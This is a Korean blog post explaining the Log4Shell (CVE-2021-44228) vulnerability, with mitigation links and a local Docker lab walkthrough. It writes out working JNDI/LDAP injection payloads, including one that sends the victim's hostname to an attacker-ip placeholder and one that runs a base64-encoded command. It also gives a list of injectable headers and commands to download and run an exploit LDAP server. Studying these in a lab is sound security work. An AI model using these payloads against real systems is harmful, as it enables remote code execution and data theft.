
조금 늦었지만 Log4j 취약점( CVE-2021-44228 ) 정리 글을 써보려고 한다.
1. Log4j 란?
Log For Java, 자바 기반 로깅 유틸리티. 디버그용 도구로 주로 사용된다.
그냥 로그를 남기기 위해 사용하는 프로그램이라고 생각하면 될 것이다.
java 기반의 모든 어플리케이션에서 사용이 가능하므로 사용 범위가 굉장히 넓다. (웹사이트, 쇼핑몰 등)
1-1. 취약점 발견?
JNDI/LDAP Manipulation to RCE 라고 불리는 취약점이 이미 2016년에 blackhat에서 발표한 자료가 있다.
아마 이 자료를 참고해서 발견한것 같다.
2. 공격방법
우선 이해를 돕기 위해 아래 사진을 보자.
파라미터나 헤더에 공격 페이로드를 전송하는 방법으로 실행한다.
예를들어
https://[피해자 ip]/?x=${jndi:ldap://${hostName}.[공격자 ip]/a}
이런 페이로드를 날렸다고 해보자.
공격자가 미리 만들어놓은 서버에 ${hostName} 부분이 피해자 hostName으로 로그가 찍힌다면 해당 사이트는 취약하다고 판단할 수 있다.
${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
이 페이로드는 서버에 touch /tmp/pwned을 실행시키는 문장이다.
코드 실행이 되었다면 /tmp디렉토리에 pwned.txt 파일이 만들어졌을 것이다.
- 삽입가능한 헤더 목록
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-Originating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile
아무 파라미터 넣거나 위에 있는 헤더 중 하나에 페이로드를 넣어 보면 된다.
참고)
소프트웨어 인벤토리에서 이러한 해시를 찾으면 시스템에 취약한 log4j 라이브러리가 있다라고 할 수 있다.
https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
3. 대응 방법
kisa에서 제공한 Log4j 취약점 대응 가이드가 있다.
https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390
KISA 인터넷 보호나라&KrCERT
KISA 인터넷 보호나라&KrCERT
www.boho.or.kr
서버에서 log4j RCE 취약점 CVE-2021-44228에 대한 악용 시도를 발견할수 있다.
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
Log4j RCE CVE-2021-44228 Exploitation Detection
Log4j RCE CVE-2021-44228 Exploitation Detection. GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
- Log4j Cheatsheet
https://therceman.medium.com/log4j-vulnerability-cheatsheet-66b7aeabc607
Log4j Vulnerability Cheatsheet
How it works, where to practice, and how to identify
therceman.medium.com
작동 원리, 테스트 환경, 스캐너, 페이로드 주입 장소, 추출 가능 정보 등이 적혀있다.
- 직접 테스트해보기
1) 도커 이미지 받기
https://github.com/christophetd/log4shell-vulnerable-app
GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.
Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. - GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed ...
github.com
2) 테스트용 LDAP 서버 받기
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit
Add jndi links in tomcat 8+ or springBoot 1.2.x+ to bypass trustURLCodebase limit.
github.com
도커 실행 후 아래 코드 차례대로 입력
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 172.17.0.3
- A 옵션은 LDAP 서버 ip 인데 원하는 ip 입력하면 됨
LDAP 서버까지 실행시켰으니 바로 테스트해보면 될듯
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
테스트 후 다음 명령어 실행 시 tmp에 pwned 파일이 생겼다는 것을 알 수 있다.
$ docker exec vulnerable-app ls /tmp
- 더 자세한 내용은 여기 보시면 될듯...
https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
Log4shell 전 세계의 인터넷이 불타고 있습니다 🔥 (CVE-2021-44228/CVE-2021-45046/CVE-2021-45105)
네 바로 어제(2021-12-10) Java의 logging package인 log4j2 에서 RCE 0-day 취약점이 공개되었습니다. Service, Application에 로그를 쌓을수만 있다면 어떤 환경에서도 공격 가능성이 존재하고, 리스크가 RCE인 만
www.hahwul.com
'WEB > 공부' 카테고리의 다른 글
CSRF 만들어 주는 사이트 (0) | 2022.02.10 |
---|---|
brute force 써먹는 여러 상황들 정리 (0) | 2022.01.11 |
$(document).ready 사용 시 $ is not defined 에러 (0) | 2021.11.19 |
Electron으로 만든 앱에서 정보얻기 (0) | 2021.10.28 |
XSS 시 자주 써먹는 팁 과 구문들 (0) | 2021.10.14 |